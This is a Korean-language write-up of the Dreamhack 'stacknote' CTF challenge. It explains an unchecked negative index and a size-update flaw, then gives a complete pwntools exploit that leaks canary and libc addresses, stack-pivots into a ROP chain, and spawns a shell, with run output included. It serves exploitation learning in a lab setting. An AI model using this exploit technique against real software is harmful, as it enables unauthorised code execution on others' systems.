[dreamhack] stacknote writeup

1. 문제

thumbnail
stacknote

usually notes are stored in the heap, but this time it's stored in the stack.

https://dreamhack.io/wargame/challenges/1997

2. 풀이

int __fastcall create_note(__int64 buf)
{
  __int64 i; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    if ( i > 9 )
      return puts("no empty note");
    if ( !*(_QWORD *)(48 * i + buf) )
      break;
  }
  printf("size: ");
  __isoc99_scanf("%ld", 0x30 * i + buf);

  while ( getchar() != '\n' )
    ;
  if ( *(_QWORD *)(0x30 * i + buf) > 40uLL )
    return puts("size too big");
  printf("data: ");
  return read(0, (void *)(0x30 * i + buf + 8), *(_QWORD *)(48 * i + buf));
}

unsigned __int64 __fastcall read_note(__int64 buf)
{
  __int64 idx; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%ld", &idx);
  while ( getchar() != '\n' )
    ;
  if ( idx <= 9 && *(_QWORD *)(48 * idx + buf) )
    write(1, (const void *)(48 * idx + buf + 8), *(_QWORD *)(48 * idx + buf));
  else
    puts("invalid index");
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall update_note(__int64 buf)
{
  __int64 idx; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);

  printf("index: ");
  __isoc99_scanf("%ld", &idx);
  if ( idx <= 9 && *(_QWORD *)(48 * idx + buf) )
  {
    printf("size: ");
    __isoc99_scanf("%ld", 48 * idx + buf);
    if ( *(_QWORD *)(48 * idx + buf) <= 40uLL )
    {
      printf("data: ");
      read(0, (void *)(48 * idx + buf + 8), *(_QWORD *)(48 * idx + buf));
    }
    else
    {
      puts("size too big");
    }
  }
  else
  {
    puts("invalid index");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall delete_note(__int64 buf)
{
  __int64 idx; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%ld", &idx);
  while ( getchar() != '\n' )
    ;
  if ( idx <= 9 && *(_QWORD *)(0x30 * idx + buf) )
    *(_QWORD *)(0x30 * idx + buf) = 0LL;
  else
    puts("invalid index");
  return v3 - __readfsqword(0x28u);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int idx; // [rsp+Ch] [rbp-1F4h] BYREF
  char buf[488]; // [rsp+10h] [rbp-1F0h] BYREF
  unsigned __int64 v6; // [rsp+1F8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(buf, 0, 0x1E0uLL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);

  while ( 1 )
  {
    while ( 1 )
    {
      puts("1. create");
      puts("2. read");
      puts("3. update");
      puts("4. delete");
      printf("> ");
      __isoc99_scanf("%d", &idx);
      if ( idx != 4 )
        break;
      delete_note((__int64)buf);
    }
    if ( idx > 4 )
      break;
    switch ( idx )
    {
      case 3:
        update_note(buf);
        break;
      case 1:
        create_note(buf);
        break;
      case 2:
        read_note(buf);
        break;
      default:
        return 0;
    }
  }
  return 0;
}

코드가 길다

원래 소스코드가 주어지진않았고 ida로 까본 코드이다. 크게 create_note, read_note, update_note, delete_note로 구분된다.

note0x30의 크기를 갖으며 최대 10개의 note를 작성할 수 있다. 그리고 각 note에서 첫 8바이트는 size를 입력받고, 그다음 위치부터 0x28만큼 쓸 수 있다.

  • create_note: size를 입력받고 40보다 큰지 검사. 검사 통과 시 내용 입력
  • read_note: idx를 입력받아서 해당 인덱스의 note 내용을 출력
  • update_note: idxsize를 입력받아서 해당 인덱스에 해당하는 notesize만큼 내용 입력
  • delete_note: idx를 입력받아서 해당 인덱스의 notesize0으로 처리 (이려면 못읽음)

이용해야할 것은 idx가 0보다 작은지 확인하지 않는다는 점과, update_note시에 size가 40보다 크더라도 우선은 입력한 후에 검사를 한다는 점이다.


먼저 update_note시에 size가 40볻 크더라도 우선은 해당 값을 size위치에 입력을 한 후에 검사를 하기 때문에, note하나를 먼저 생성한 다음 update_note를 통해 size를 크게 주면 그 값이 들어가긴하지만 그뒤에 내용 입력은 되지않은채로 끝난다.

이 상태에서 read_note를 통해 해당 note 내용을 출력하게 되면 size가 굉장히 큰 값으로 들어가있기 때문에 canary부터 시작해서 그 뒤의 스택에 들어가있는 값들을 모조리 읽어올 수 있다.

# 1. create note[0]
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"size: ", b"40")
p.sendafter(b"data: ", b"aaaa")

# 2. update size of the note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"600")

# 3. get canary by reading note[0]
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"index: ", b"0")
p.recv(480)
canary = u64(p.recv(8))

for i in range(14):
    tmp = u64(p.recv(8))
    print(hex(tmp))
    if i == 1:
        __libc_start_call_main = tmp - 122
        print(hex(__libc_start_call_main))
    if i == 3:
        buf_addr = tmp - 0x240 - 0xd8
        print(f"buf: {hex(buf_addr)}")

총 3가지의 값을 읽어와서 계산했는데 canary, __libc_start_call_main + 122, 그리고 buf 변수의 주소이다. 사실 canary는 쓸모가 있을 것 같았는데 필요가 없었고, __libc_start_call_main 주소를 통해 libc base를 알 수 있었다.

두번째로 idx를 0보다 작게 입력할 수 있었기 때문에 이를 활용해서 다른 함수의 리턴 주소를 덮을 수 있었고, idx = -2일 때 update_note로 돌아가는 리턴 주소가 note 내용 기준 3번째 8바이트 위치에 있었기 때문에 총 3개의 가젯을 입력할 수 있었다.

0x7ffe4f06d880:	0x0000000000000028	0x0000000000000000
0x7ffe4f06d890:	0x00007ffe4f06d8c0	0x0000617441ee85e6
0x7ffe4f06d8a0:	0x0000000000000001	0x00007ffe4f06d8e0
0x7ffe4f06d8b0:	0xfffffffffffffffe	0xf28a34e5f6e6a800
0x7ffe4f06d8c0:	0x00007ffe4f06dad0	0x0000617441ee8837
0x7ffe4f06d8d0:	0x0000000000000000	0x0000000300000340
0x7ffe4f06d8e0:	0x0000000000000028	0x000074cf1382882f
0x7ffe4f06d8f0:	0x000074cf1390f75b	0x000074cf139cb42f
0x7ffe4f06d900:	0x000074cf13858740	0x0000000000000000
0x7ffe4f06d910:	0x0000000000000000	0x0000000000000000

0x7ffe4f06d8e0 주소가 buf였고, idx = -2이면 0x7ffe4f06d880 주소이다. 그리고 0x7ffe4f06d898위치에 있는 주소가 read함수가 종료된 뒤에 update_note로 돌아가는 리턴 주소이다.

pwndbg> x/10i 0x0000617441ee85e6
   0x617441ee85e6 <update_note+363>:	jmp    0x617441ee85f7 <update_note+380>
   0x617441ee85e8 <update_note+365>:	lea    rax,[rip+0xa4a]        # 0x617441ee9039
   0x617441ee85ef <update_note+372>:	mov    rdi,rax
   0x617441ee85f2 <update_note+375>:	call   0x617441ee80c0 <puts@plt>
   0x617441ee85f7 <update_note+380>:	mov    rax,QWORD PTR [rbp-0x8]
   0x617441ee85fb <update_note+384>:	sub    rax,QWORD PTR fs:0x28
   0x617441ee8604 <update_note+393>:	je     0x617441ee860b <update_note+400>
   0x617441ee8606 <update_note+395>:	call   0x617441ee80e0 <__stack_chk_fail@plt>
   0x617441ee860b <update_note+400>:	leave
   0x617441ee860c <update_note+401>:	ret

그래서 dummy + pop_rdi + binsh + system해서 40바이트 딱이다 생각해서 바로 때렸는데 스택 정렬문제로 실패했다… 해결하려면 ret 가젯을 추가해주던지 해야하는데 그러면 40바이트 제한을 넘기 때문에 원가젯으로 해결하려고도했지만 rbx, r12 모두 null로 맞춰줘야해서 이것도 제한을 넘겼다.

그리고 진짜 생고생과 삽질을 하면서 풀다가 포기했었다.

그러다가 다른 문제를 풀던 중 stack pivotsfp overwrite에 대해서 제대로 공부하게 돼서 여기에 써먹으면 풀 수 있겠다는 각이 서서 바로 재도전했다.

idx = -2에는 3개의 가젯 밖에 못넣지만, stack pivot에만 초점을 두면 pop rsp + fake_rbp + ret 이렇게 3개가 딱 맞게 들어간다. 이 fake_rbp는 우리가 이미 buf의 주소를 알고있고, 40바이트를 풀로 다 쓸 수 있는 노트가 10개나 있기 때문에 되게 많은 것을 할 수 있다.

그래서 note[0] 위치에 rop_chain을 먼저 아래와 같이 다 입력해두었다.

# 5. write rop chain in note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"40")

payload = p64(libcbase + ret)   # ret
payload += p64(libcbase + pop_rdi)  # pop rdi
payload += p64(libcbase + binsh)    # binsh addr
payload += p64(libcbase + system)     # system addr
p.sendafter(b"data: ", payload)

이후에 note[-2] 위치에는 위에서 얘기한 stack pivot을 위한 3개의 가젯으로 업데이트했다. 이때 fake_rbpnote[0]sizebuf위치에 들어가있기 때문에 buf_addr + 8을 해야한다.

# 6. stack pivot by updating note[-2]
# this overwrites the return address of the update_note func
# thic can be done by "pop rsp" to note[0] to execute rop chain
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"-2")
p.sendlineafter(b"size: ", b"40")
input()

payload = b"a" * 16
payload += p64(libcbase + pop_rsp)   # pop rsp
payload += p64(buf_addr + 8)
payload += p64(libcbase + ret)   # ret

p.sendafter(b"data: ", payload)

이러면 rspnote[0]위치로 이동하고, ret = pop rip가 실행되면서 미리 넣어놨던 가젯들이 차례로 실행되면서 system("/bin/sh")가 실행되어 쉘을 실행할 수 있다.

전체 exploit은 아래와 같다.

from pwn import *

p = process("./prob")
libc = ELF("libc.so.6")

# remote
ret = 0x000000000002882f
pop_rdi = 0x000000000010f75b
binsh = 0x1cb42f
system = 0x0000000000058740
pop_rsp = 0x000000000003c058

# local (ubuntu glibc 2.39-0ubuntu8.4)
#ret = 0x000000000002882f
#pop_rdi = 0x000000000010f75b
#binsh = 0x1cb42f
#system = 0x0000000000058750
#pop_rsp = 0x000000000003c068


#p = remote("host8.dreamhack.games", 15408)

# 1. create note[0]
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"size: ", b"40")
p.sendafter(b"data: ", b"aaaa")

# 2. update size of the note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"600")

# 3. get canary by reading note[0]
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"index: ", b"0")
p.recv(480)
canary = u64(p.recv(8))

for i in range(14):
    tmp = u64(p.recv(8))
    print(hex(tmp))
    if i == 1:
        __libc_start_call_main = tmp - 122
        print(hex(__libc_start_call_main))
    if i == 3:
        buf_addr = tmp - 0x240 - 0xd8
        print(f"buf: {hex(buf_addr)}")

# 4. calculate one_gadget
libcbase = __libc_start_call_main - 0x2150 - 0x28000    # offset : 0x2a150
#print(hex(libcbase))
#libcbase = libcbase & 0xfffffff00000
print(f"libcbase : {hex(libcbase)}")

print(hex(libcbase + system))

# 5. write rop chain in note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"40")

payload = p64(libcbase + ret)   # ret
payload += p64(libcbase + pop_rdi)  # pop rdi
payload += p64(libcbase + binsh)    # binsh addr
payload += p64(libcbase + system)     # system addr
p.sendafter(b"data: ", payload)


# 6. stack pivot by updating note[-2]
# this overwrites the return address of the update_note func
# thic can be done by "pop rsp" to note[0] to execute rop chain
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"-2")
p.sendlineafter(b"size: ", b"40")
input()

payload = b"a" * 16
payload += p64(libcbase + pop_rsp)   # pop rsp
payload += p64(buf_addr + 8)
payload += p64(libcbase + ret)   # ret

p.sendafter(b"data: ", payload)


p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/ctf/S7R12/stacknote/deploy$ python3 e_stacknote.py 
[+] Starting local process './prob': pid 2705252
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/ctf/S7R12/stacknote/deploy/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
0x7ffda99bf790
0x7101f362a1ca
0x7101f362a150
0x7ffda99bf740
0x7ffda99bf818
buf: 0x7ffda99bf500
0x1c1b85040
0x62e0c1b866e3
0x7ffda99bf818
0xfe708d931a1ef477
0x1
0x0
0x62e0c1b88d88
0x7101f38fd000
0xfe708d931b3ef477
0xe3883861b63cf477
libcbase : 0x7101f3600000
0x7101f3658740

[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

stack pivot에 대해 다시 한번 제대로 공부할 수 있게된 문제였고, level2 포너블 문제를 풀다가 level4를 처음 풀게되서 좋았던 문제.

해결~